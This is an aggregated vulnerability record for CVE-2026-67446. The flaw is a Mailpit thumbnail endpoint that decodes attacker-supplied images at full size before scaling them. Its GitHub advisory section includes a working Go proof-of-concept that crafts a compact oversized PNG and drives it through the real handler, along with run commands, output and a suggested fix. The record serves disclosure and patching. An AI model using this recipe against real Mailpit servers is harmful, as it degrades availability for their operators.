{"id":"CVE-2026-67446","aliases":["EUVD-2026-63659","GHSA-75mr-qw9x-3r39","GO-2026-6359","SUSE-SU-2026:23855-1","SUSE-SU-2026:23863-1","openSUSE-SU-2026:21897-1"],"status":"published","title":"Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling","description":"Mailpit is an email testing tool and API for developers. Prior to 1.30.4, Mailpit decodes attacker-supplied image attachments into a full raster before checking decoded dimensions, pixel count, or memory use in the GET /api/v1/message/{id}/part/{partID}/thumb endpoint. The Thumbnail handler in server/apiv1/thumbnails.go obtains attachment bytes through storage.GetAttachmentPart(), accepts image/* content, and calls imaging.Decode() with AutoOrientation before imaging.Fill() scales the image to 180 by 120 pixels. A compact image declaring very large dimensions can therefore consume disproportionately large memory and CPU, and opening the message UI can trigger the same endpoint through server/ui-src/components/message/MessageAttachments.vue. This can degrade availability when an unauthenticated client can store the crafted attachment and reach the web API. This issue is fixed in version 1.30.4.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00507,"percentile":0.43534,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-770"],"published":"2026-08-20T21:10:28Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"Go","package":"github.com/axllent/mailpit","fixed_in":["1.30.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/axllent/mailpit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.30.3"},{"fixed":"1.30.4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.30.4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.30.4"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91}],"products":[{"vendor":"axllent","product":"mailpit"}],"references":[{"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-75mr-qw9x-3r39","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/axllent/mailpit/commit/6bcb6337838b542d53c348e38c7977f569b6db35","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/axllent/mailpit/releases/tag/v1.30.4","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67446","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-75mr-qw9x-3r39"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67446.json","tags":["advisory"]},{"url":"https://github.com/axllent/mailpit","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623855-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24979","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58363","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11720","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25782","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27660","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27779","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27780","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56665","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56666","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56668","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56743","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59157","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59161","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59185","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-60004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65959","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68584","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68585","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68586","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68587","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69083","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69084","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69086","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71493","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72789","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72790","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72792","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72793","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72794","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72795","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72796","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72797","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72798","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72799","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72800","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72801","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72802","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72804","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72805","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72806","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72807","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72808","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72809","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72810","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72811","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72812","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73087","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73293","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73294","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73667","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73840","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73841","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73842","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73843","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-75602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76081","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-79921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84304","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88007","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88008","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88009","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88011","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88012","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88013","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88014","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88015","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88016","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88017","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88018","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88044","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88046","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623863-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-67446","title":"Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling","description":"Mailpit is an email testing tool and API for developers. Prior to 1.30.4, Mailpit decodes attacker-supplied image attachments into a full raster before checking decoded dimensions, pixel count, or memory use in the GET /api/v1/message/{id}/part/{partID}/thumb endpoint. The Thumbnail handler in server/apiv1/thumbnails.go obtains attachment bytes through storage.GetAttachmentPart(), accepts image/* content, and calls imaging.Decode() with AutoOrientation before imaging.Fill() scales the image to 180 by 120 pixels. A compact image declaring very large dimensions can therefore consume disproportionately large memory and CPU, and opening the message UI can trigger the same endpoint through server/ui-src/components/message/MessageAttachments.vue. This can degrade availability when an unauthenticated client can store the crafted attachment and reach the web API. This issue is fixed in version 1.30.4.","status":"published","published":"2026-08-20T21:10:28.074Z","modified":"2026-08-21T14:56:09.415Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:20:06.562031Z"}],"euvd":[{"id":"EUVD-2026-63659","description":"Mailpit is an email testing tool and API for developers. Prior to 1.30.4, Mailpit decodes attacker-supplied image attachments into a full raster before checking decoded dimensions, pixel count, or memory use in the GET /api/v1/message/{id}/part/{partID}/thumb endpoint. The Thumbnail handler in server/apiv1/thumbnails.go obtains attachment bytes through storage.GetAttachmentPart(), accepts image/* content, and calls imaging.Decode() with AutoOrientation before imaging.Fill() scales the image to 180 by 120 pixels. A compact image declaring very large dimensions can therefore consume disproportionately large memory and CPU, and opening the message UI can trigger the same endpoint through server/ui-src/components/message/MessageAttachments.vue. This can degrade availability when an unauthenticated client can store the crafted attachment and reach the web API. This issue is fixed in version 1.30.4.","status":"published","published":"2026-08-20T21:10:28Z","modified":"2026-08-21T14:56:09Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T18:01:37.531944Z"}],"ghsa":[{"id":"GHSA-75mr-qw9x-3r39","title":"Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling","description":"## Summary\n\nMailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.\n\n## Technical Details\n\nThe route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`:\n\n```go\na, err := storage.GetAttachmentPart(id, partID)\n// ...\nif !strings.HasPrefix(a.ContentType, \"image/\") {\n    blankImage(a, w)\n    return\n}\n\nbuf := bytes.NewBuffer(a.Content)\nimg, err := imaging.Decode(buf, imaging.AutoOrientation(true))\n```\n\n`storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded.\n\nThe thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.\n\nThe UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `\u003cimg src\u003e` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.\n\n## PoV\n\nThe following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`.\n\nThe oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.\n\n```go\npackage apiv1\n\nimport (\n    \"bytes\"\n    \"compress/zlib\"\n    \"encoding/base64\"\n    \"encoding/binary\"\n    \"fmt\"\n    \"hash/crc32\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/axllent/mailpit/config\"\n    \"github.com/axllent/mailpit/internal/logger\"\n    \"github.com/axllent/mailpit/internal/storage\"\n    \"github.com/kovidgoyal/imaging\"\n)\n\nfunc pngChunk(kind string, data []byte) []byte {\n    var out bytes.Buffer\n    _ = binary.Write(\u0026out, binary.BigEndian, uint32(len(data)))\n    out.WriteString(kind)\n    out.Write(data)\n    crc := crc32.NewIEEE()\n    crc.Write([]byte(kind))\n    crc.Write(data)\n    _ = binary.Write(\u0026out, binary.BigEndian, crc.Sum32())\n    return out.Bytes()\n}\n\nfunc solidRGBApng(width, height int) []byte {\n    var out bytes.Buffer\n    out.Write([]byte{0x89, 'P', 'N', 'G', '\\r', '\\n', 0x1a, '\\n'})\n    ihdr := make([]byte, 13)\n    binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))\n    binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))\n    ihdr[8] = 8\n    ihdr[9] = 6\n    out.Write(pngChunk(\"IHDR\", ihdr))\n    var compressed bytes.Buffer\n    zw := zlib.NewWriter(\u0026compressed)\n    row := make([]byte, 1+width*4)\n    for i := 0; i \u003c height; i++ {\n        _, _ = zw.Write(row)\n    }\n    _ = zw.Close()\n    out.Write(pngChunk(\"IDAT\", compressed.Bytes()))\n    out.Write(pngChunk(\"IEND\", nil))\n    return out.Bytes()\n}\n\nfunc TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {\n    for _, tc := range []struct {\n        name   string\n        width  int\n        height int\n    }{\n        {name: \"negative-control\", width: 16, height: 16},\n        {name: \"oversized-attachment\", width: 4096, height: 4096},\n    } {\n        t.Run(tc.name, func(t *testing.T) {\n            payload := solidRGBApng(tc.width, tc.height)\n            img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))\n            if err != nil {\n                t.Fatalf(\"decode failed: %v\", err)\n            }\n            thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)\n            if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {\n                t.Fatalf(\"unexpected thumbnail bounds: %v\", thumb.Bounds())\n            }\n            decodedRGBA := tc.width * tc.height * 4\n            t.Logf(\"%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))\n        })\n    }\n}\n\nfunc TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {\n    logger.NoLogging = true\n    config.Database = filepath.Join(t.TempDir(), \"mailpit.db\")\n    config.Compression = 0\n    config.TenantID = \"\"\n    config.MaxMessages = 0\n    if err := storage.InitDB(); err != nil {\n        t.Fatalf(\"InitDB failed: %v\", err)\n    }\n    defer storage.Close()\n\n    for _, tc := range []struct {\n        name   string\n        width  int\n        height int\n    }{\n        {name: \"negative-control\", width: 16, height: 16},\n        {name: \"oversized-attachment\", width: 4096, height: 4096},\n    } {\n        t.Run(tc.name, func(t *testing.T) {\n            payload := solidRGBApng(tc.width, tc.height)\n            raw := []byte(fmt.Sprintf(\"From: sender@example.test\\r\\nTo: victim@example.test\\r\\nSubject: %s\\r\\nMIME-Version: 1.0\\r\\nContent-Type: multipart/mixed; boundary=\\\"pov-boundary\\\"\\r\\n\\r\\n--pov-boundary\\r\\nContent-Type: text/plain\\r\\n\\r\\nbody\\r\\n--pov-boundary\\r\\nContent-Type: image/png; name=\\\"pov.png\\\"\\r\\nContent-Disposition: attachment; filename=\\\"pov.png\\\"\\r\\nContent-Transfer-Encoding: base64\\r\\n\\r\\n%s\\r\\n--pov-boundary--\\r\\n\", tc.name, wrapBase64(payload)))\n            id, err := storage.Store(\u0026raw, nil)\n            if err != nil {\n                t.Fatalf(\"Store failed: %v\", err)\n            }\n            msg, err := storage.GetMessage(id)\n            if err != nil {\n                t.Fatalf(\"GetMessage failed: %v\", err)\n            }\n            if len(msg.Attachments) != 1 {\n                t.Fatalf(\"attachments=%d, want 1\", len(msg.Attachments))\n            }\n            req := httptest.NewRequest(http.MethodGet, \"/api/v1/message/\"+id+\"/part/\"+msg.Attachments[0].PartID+\"/thumb\", nil)\n            req.SetPathValue(\"id\", id)\n            req.SetPathValue(\"partID\", msg.Attachments[0].PartID)\n            rr := httptest.NewRecorder()\n            Thumbnail(rr, req)\n            if rr.Code != http.StatusOK {\n                t.Fatalf(\"Thumbnail status=%d body=%q\", rr.Code, rr.Body.String())\n            }\n            if ct := rr.Header().Get(\"Content-Type\"); ct != \"image/jpeg\" {\n                t.Fatalf(\"Content-Type=%q, want image/jpeg\", ct)\n            }\n            decodedRGBA := tc.width * tc.height * 4\n            t.Logf(\"%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())\n        })\n    }\n}\n\nfunc wrapBase64(b []byte) string {\n    encoded := base64.StdEncoding.EncodeToString(b)\n    var lines []string\n    for len(encoded) \u003e 76 {\n        lines = append(lines, encoded[:76])\n        encoded = encoded[76:]\n    }\n    if encoded != \"\" {\n        lines = append(lines, encoded)\n    }\n    return strings.Join(lines, \"\\r\\n\")\n}\n```\n\n## PoC\n\nFrom a Mailpit checkout, save the test above as `server/apiv1/thumbnail_dimension_pov_test.go` and run:\n\n```fish\ndocker run --rm -v \"$PWD:/src\" -w /src golang:1.25 go test ./server/apiv1 -run 'TestThumbnail.*DimensionAmplificationPoV' -v\n```\n\nOn current `develop` commit `cd7661fd5b23cce1e218b583b21e157cfa612051`, the relevant output is:\n\n```text\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n    thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n    thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s)\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n    thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n    thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s)\nPASS\nok  \tgithub.com/axllent/mailpit/server/apiv1\t0.781s\n```\n\nThe same test against `v1.30.3` commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13` prints the same amplification:\n\n```text\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n    thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n    thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s)\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n    thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n    thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s)\nPASS\nok  \tgithub.com/axllent/mailpit/server/apiv1\t0.805s\n```\n\nThe `negative-control` case shows ordinary thumbnail generation still works. The `oversized-attachment` handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.\n\n## Impact\n\nAn unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.\n\nThe safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.\n\n## Suggested Fix\n\nReject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling `imaging.Decode()` or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.\n\nApply the cap to all supported image formats and to both inline and regular attachments returned by `GetAttachmentPart()`. Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed `image/*` attachment.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- Current `develop`: `cd7661fd5b23cce1e218b583b21e157cfa612051`\n- Latest release: `v1.30.3`, tag commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, published 2026-06-27\n\n## Advisory History\n\nThe closest published Mailpit advisories are the resource-consumption reports `GHSA-fpxj-m5q8-fphw` and `GHSA-28pq-6qxg-wg5r`. `GHSA-fpxj-m5q8-fphw` covers unlimited SMTP DATA and `/api/v1/send` body sizes, while `GHSA-28pq-6qxg-wg5r` covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.\n\nOther published Mailpit advisories checked were `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-524m-q5m7-79mm` for CSWSH, and the SSRF/proxy/link-check/html-check family `GHSA-8v65-47jx-7mfr`, `GHSA-mpf7-p9x7-96r3`, `GHSA-6jxm-fv7w-rw5j`, `GHSA-j3fj-qppj-fmmc`, and `GHSA-w4mc-hhc6-xp28`. None describe decoded thumbnail image dimensions or pixel-budget enforcement.\n\nPublic issue searches in `axllent/mailpit` for thumbnail/image memory, `imaging Decode thumbnail`, and image attachment thumbnail DoS terms found no matching issue. A commit search found `b9f36312d750bdc59497a08fd9f4039925afd54e`, \"Fix: Avoid error on image type assertion in thumbnail generation\"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.","status":"published","published":"2026-09-02T23:39:08Z","modified":"2026-09-02T23:39:09Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:41:11.621873Z"}],"nvd":[{"id":"CVE-2026-67446","description":"Mailpit is an email testing tool and API for developers. Prior to 1.30.4, Mailpit decodes attacker-supplied image attachments into a full raster before checking decoded dimensions, pixel count, or memory use in the GET /api/v1/message/{id}/part/{partID}/thumb endpoint. The Thumbnail handler in server/apiv1/thumbnails.go obtains attachment bytes through storage.GetAttachmentPart(), accepts image/* content, and calls imaging.Decode() with AutoOrientation before imaging.Fill() scales the image to 180 by 120 pixels. A compact image declaring very large dimensions can therefore consume disproportionately large memory and CPU, and opening the message UI can trigger the same endpoint through server/ui-src/components/message/MessageAttachments.vue. This can degrade availability when an unauthenticated client can store the crafted attachment and reach the web API. This issue is fixed in version 1.30.4.","status":"published","published":"2026-08-20T21:17:07.26Z","modified":"2026-10-18T20:10:00.11Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:12:40.302911Z"}],"osv":[{"id":"CVE-2026-67446","title":"Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling","description":"Mailpit is an email testing tool and API for developers. Prior to 1.30.4, Mailpit decodes attacker-supplied image attachments into a full raster before checking decoded dimensions, pixel count, or memory use in the GET /api/v1/message/{id}/part/{partID}/thumb endpoint. The Thumbnail handler in server/apiv1/thumbnails.go obtains attachment bytes through storage.GetAttachmentPart(), accepts image/* content, and calls imaging.Decode() with AutoOrientation before imaging.Fill() scales the image to 180 by 120 pixels. A compact image declaring very large dimensions can therefore consume disproportionately large memory and CPU, and opening the message UI can trigger the same endpoint through server/ui-src/components/message/MessageAttachments.vue. This can degrade availability when an unauthenticated client can store the crafted attachment and reach the web API. This issue is fixed in version 1.30.4.","status":"published","published":"2026-08-20T21:10:28.074Z","modified":"2026-10-28T02:31:10.723925083Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:45:14.46177Z"},{"id":"GHSA-75mr-qw9x-3r39","title":"Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling","description":"## Summary\n\nMailpit's thumbnail endpoint decodes 